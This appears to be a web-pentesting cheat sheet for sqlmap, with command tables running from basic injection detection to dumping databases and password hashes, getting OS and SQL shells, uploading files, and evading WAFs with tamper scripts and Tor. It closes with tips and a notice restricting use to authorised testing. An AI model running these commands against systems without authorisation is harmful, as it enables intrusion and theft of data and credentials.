root@sparrow:~/writeups$ cat sqlmap.md
// web
sqlmap
21 Jul 2026
· 3 min read
sqlmap is an open-source tool that automates the detection and exploitation of SQL injection vulnerabilities. It covers the whole flow: from testing a suspicious parameter to enumerating databases, dumping tables and even getting a shell on the server. It is effectively the de facto standard for SQL injection testing in web pentesting.
The key nuance is that --level and --risk are not cosmetic: they control how many vectors and payloads sqlmap tries. With the defaults (level 1, risk 1) many real injections go unnoticed, especially those living in cookies, headers or POST parameters. Raising these values widens coverage, but also increases noise and the risk of damaging data, so they must be dialed up with judgment.
1. Beginner level — detection and enumeration

| Command | What it does |
|---|---|
sqlmap -u <url> | Tests a URL for SQL injection |
sqlmap -u <url> --dbs | Enumerates the available databases |
sqlmap -u <url> -D db --tables | Enumerates the tables of a database |
sqlmap -u <url> -D db -T t --columns | Enumerates the columns of a table |
sqlmap -u <url> -D db -T t --dump | Dumps the contents of a table |
sqlmap -u <url> --current-db | Shows the current database |
sqlmap -u <url> --current-user | Shows the current database user |
sqlmap -u <url> --batch | Accepts the default values without prompting |
sqlmap -u <url> --cookie="x=y" | Sends cookies in the request |
sqlmap -u <url> --data="a=1&b=2" | Tests injection in POST data |
sqlmap -u <url> --level 3 | Increases the testing level (1-5) |
sqlmap -u <url> --risk 2 | Adjusts the risk of the tests (1-3) |
sqlmap -u <url> --forms | Detects and tests forms automatically |
sqlmap -u <url> --dbms=mysql | Specifies the database engine |
2. Advanced level — shells, WAF bypass and evasion

| Command | What it does |
|---|---|
sqlmap -u <url> --os-shell | Gets a shell on the server |
sqlmap -u <url> --dump-all | Dumps all the databases |
sqlmap -u <url> --tamper=space2comment | Applies WAF evasion scripts |
sqlmap -u <url> --technique=BEUSTQ | Specifies the injection techniques |
sqlmap -u <url> --proxy=http://127.0.0.1:8080 | Routes the traffic through a proxy (Burp) |
sqlmap -u <url> --tor | Routes the traffic through Tor |
sqlmap -r req.txt | Uses a captured HTTP request as input |
sqlmap -u <url> --sql-shell | Opens an interactive SQL shell |
sqlmap -u <url> --privileges | Enumerates the privileges of the DB user |
sqlmap -u <url> --passwords | Dumps the password hashes |
sqlmap -u <url> --union-cols=10 | Forces the number of columns in UNION |
sqlmap -u <url> --second-order=<url2> | Tests second-order SQL injection |
sqlmap -u <url> --threads 10 | Increases the parallelism of requests |
sqlmap -u <url> --file-write=x --file-dest=y | Uploads a file to the server |
3. Details people miss
- Use
--batchin scripts and pipelines so sqlmap does not stall waiting for interactive answers, but review the log afterwards: it accepts default values that are not always the ones you want. - sqlmap caches the results for each target. If you change the request or suspect a false negative, add
--flush-sessionto force a fresh analysis from scratch. - For injections in complex requests (POST, JSON, headers, authentication), capture the request with Burp and feed it in with
-r req.txtinstead of wrestling with-uand--data. --os-shelland--file-writerequire high database privileges (often DBA) and a specific engine configuration; if they fail it is not a sqlmap bug, it is missing permissions orsecure_file_privblocking it.- A single
--tamperrarely beats a modern WAF; chain several comma-separated scripts and also tune--random-agentand--delayto reduce blocking.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.